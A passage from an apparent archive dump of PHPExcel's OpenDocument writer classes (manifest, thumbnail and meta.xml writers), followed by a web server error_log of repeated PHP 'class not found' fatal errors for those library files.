$objWriter->startElement('manifest:file-entry'); $objWriter->writeAttribute('manifest:full-path', 'content.xml'); $objWriter->writeAttribute('manifest:media-type', 'text/xml'); $objWriter->endElement(); $objWriter->startElement('manifest:file-entry'); $objWriter->writeAttribute('manifest:full-path', 'Thumbnails/thumbnail.png'); $objWriter->writeAttribute('manifest:media-type', 'image/png'); $objWriter->endElement(); $objWriter->startElement('manifest:file-entry'); $objWriter->writeAttribute('manifest:full-path', 'styles.xml'); $objWriter->writeAttribute('manifest:media-type', 'text/xml'); $objWriter->endElement(); $objWriter->endElement(); return $objWriter->getData(); } } PHPExcel/Writer/OpenDocument/Thumbnails.php 0000644 00000002772 14642534107 0014665 0 ustar 00 <?php /** * PHPExcel_Writer_OpenDocument_Thumbnails * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer_OpenDocument * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Writer_OpenDocument_Thumbnails extends PHPExcel_Writer_OpenDocument_WriterPart { /** * Write Thumbnails/thumbnail.png to PNG format * * @param PHPExcel $pPHPExcel * @return string XML Output * @throws PHPExcel_Writer_Exception */ public function writeThumbnail(PHPExcel $pPHPExcel = null) { return ''; } } PHPExcel/Writer/OpenDocument/Meta.php 0000644 00000010311 14642534107 0013431 0 ustar 00 <?php /** * PHPExcel_Writer_OpenDocument_Meta * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer_OpenDocument * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Writer_OpenDocument_Meta extends PHPExcel_Writer_OpenDocument_WriterPart { /** * Write meta.xml to XML format * * @param PHPExcel $pPHPExcel * @return string XML Output * @throws PHPExcel_Writer_Exception */ public function write(PHPExcel $pPHPExcel = null) { if (!$pPHPExcel) { $pPHPExcel = $this->getParentWriter()->getPHPExcel(); } $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8'); // Meta $objWriter->startElement('office:document-meta'); $objWriter->writeAttribute('xmlns:office', 'urn:oasis:names:tc:opendocument:xmlns:office:1.0'); $objWriter->writeAttribute('xmlns:xlink', 'http://www.w3.org/1999/xlink'); $objWriter->writeAttribute('xmlns:dc', 'http://purl.org/dc/elements/1.1/'); $objWriter->writeAttribute('xmlns:meta', 'urn:oasis:names:tc:opendocument:xmlns:meta:1.0'); $objWriter->writeAttribute('xmlns:ooo', 'http://openoffice.org/2004/office'); $objWriter->writeAttribute('xmlns:grddl', 'http://www.w3.org/2003/g/data-view#'); $objWriter->writeAttribute('office:version', '1.2'); $objWriter->startElement('office:meta'); $objWriter->writeElement('meta:initial-creator', $pPHPExcel->getProperties()->getCreator()); $objWriter->writeElement('dc:creator', $pPHPExcel->getProperties()->getCreator()); $objWriter->writeElement('meta:creation-date', date(DATE_W3C, $pPHPExcel->getProperties()->getCreated())); $objWriter->writeElement('dc:date', date(DATE_W3C, $pPHPExcel->getProperties()->getCreated())); $objWriter->writeElement('dc:title', $pPHPExcel->getProperties()->getTitle()); $objWriter->writeElement('dc:description', $pPHPExcel->getProperties()->getDescription()); $objWriter->writeElement('dc:subject', $pPHPExcel->getProperties()->getSubject()); $keywords = explode(' ', $pPHPExcel->getProperties()->getKeywords()); foreach ($keywords as $keyword) { $objWriter->writeElement('meta:keyword', $keyword); } //<meta:document-statistic meta:table-count="XXX" meta:cell-count="XXX" meta:object-count="XXX"/> $objWriter->startElement('meta:user-defined'); $objWriter->writeAttribute('meta:name', 'Company'); $objWriter->writeRaw($pPHPExcel->getProperties()->getCompany()); $objWriter->endElement(); $objWriter->startElement('meta:user-defined'); $objWriter->writeAttribute('meta:name', 'category'); $objWriter->writeRaw($pPHPExcel->getProperties()->getCategory()); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); return $objWriter->getData(); } } PHPExcel/Writer/OpenDocument/error_log 0000644 00000110007 14642534107 0013752 0 ustar 00 [20-May-2024 11:40:51 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Styles.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Styles.php on line 28 [20-May-2024 11:50:27 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Meta.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Meta.php on line 28 [20-May-2024 12:10:43 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Content.php:37 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Content.php on line 37 [20-May-2024 12:12:41 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Styles.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Styles.php on line 28 [20-May-2024 12:13:43 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php on line 28 [20-May-2024 12:15:44 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/WriterPart.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/WriterPart.php on line 28 [20-May-2024 12:27:15 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Meta.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Meta.php on line 28 [20-May-2024 12:49:42 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Content.php:37 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Content.php on line 37 [20-May-2024 12:56:26 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/WriterPart.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/WriterPart.php on line 28 [20-May-2024 13:14:25 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php on line 28 [20-May-2024 13:27:36 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Styles.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Styles.php on line 28 [20-May-2024 14:23:45 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php on line 28 [20-May-2024 14:39:46 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Styles.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Styles.php on line 28 [20-May-2024 14:42:03 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Settings.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Settings.php on line 28 [20-May-2024 15:11:04 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Mimetype.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Mimetype.php on line 28 [20-May-2024 15:12:46 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Settings.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Settings.php on line 28 [20-May-2024 15:43:53 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Mimetype.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Mimetype.php on line 28 [20-May-2024 16:32:07 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php on line 28 [20-May-2024 16:39:48 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Thumbnails.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Thumbnails.php on line 28 [20-May-2024 16:44:02 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Styles.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Styles.php on line 28 [20-May-2024 17:11:30 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Thumbnails.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Thumbnails.php on line 28 [20-May-2024 17:16:43 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Styles.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Styles.php on line 28 [20-May-2024 17:20:06 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php on line 28 [20-May-2024 18:40:17 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php on line 28 [20-May-2024 19:12:21 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Styles.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Styles.php on line 28 [20-May-2024 19:13:15 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php on line 28 [20-May-2024 20:40:31 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php on line 28 [20-May-2024 20:44:31 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Styles.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Styles.php on line 28 [20-May-2024 21:36:37 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php on line 28 [20-May-2024 23:08:50 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php on line 28 [21-May-2024 00:00:55 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Styles.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Styles.php on line 28 [21-May-2024 17:59:10 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php on line 28 [21-May-2024 18:30:59 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php on line 28 [21-May-2024 19:01:32 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php on line 28 [21-May-2024 20:35:28 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php on line 28 [21-May-2024 21:06:38 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php on line 28 [21-May-2024 22:59:48 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php on line 28 [21-May-2024 23:48:02 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php on line 28 [29-May-2024 18:04:35 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/WriterPart.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/WriterPart.php on line 28 [29-May-2024 19:26:44 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Mimetype.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Mimetype.php on line 28 [29-May-2024 23:40:10 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Thumbnails.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Thumbnails.php on line 28 [30-May-2024 00:57:21 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Content.php:37 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Content.php on line 37 [30-May-2024 03:41:17 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php on line 28 [30-May-2024 04:40:48 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Meta.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Meta.php on line 28 [30-May-2024 07:05:24 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Settings.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Settings.php on line 28 [30-May-2024 08:50:40 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Styles.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Styles.php on line 28 [17-Jun-2024 01:22:07 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Content.php:37 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Content.php on line 37 [17-Jun-2024 01:22:08 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Meta.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Meta.php on line 28 [17-Jun-2024 01:22:08 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php on line 28 [17-Jun-2024 01:22:09 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Mimetype.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Mimetype.php on line 28 [17-Jun-2024 01:22:09 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Settings.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Settings.php on line 28 [17-Jun-2024 01:22:10 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Styles.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Styles.php on line 28 [17-Jun-2024 01:22:10 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Thumbnails.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Thumbnails.php on line 28 [17-Jun-2024 01:22:10 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/WriterPart.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/WriterPart.php on line 28 [17-Jun-2024 03:11:36 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Content.php:37 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Content.php on line 37 [17-Jun-2024 03:19:10 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Settings.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Settings.php on line 28 [17-Jun-2024 03:28:48 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Thumbnails.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Thumbnails.php on line 28 [17-Jun-2024 03:38:37 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php on line 28 [17-Jun-2024 04:35:35 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Meta.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Meta.php on line 28 [24-Jun-2024 07:52:42 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Content.php:37 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Content.php on line 37 [24-Jun-2024 07:52:43 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Meta.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Meta.php on line 28 [24-Jun-2024 07:52:44 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Mimetype.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Mimetype.php on line 28 [24-Jun-2024 07:52:44 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Styles.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Styles.php on line 28 [24-Jun-2024 09:34:27 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Settings.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Settings.php on line 28 [24-Jun-2024 09:34:28 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Thumbnails.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Thumbnails.php on line 28 [24-Jun-2024 09:34:29 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/WriterPart.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/WriterPart.php on line 28 [24-Jun-2024 12:14:46 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php on line 28 [25-Jun-2024 07:34:00 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Content.php:37 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Content.php on line 37 [25-Jun-2024 07:34:01 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Meta.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Meta.php on line 28 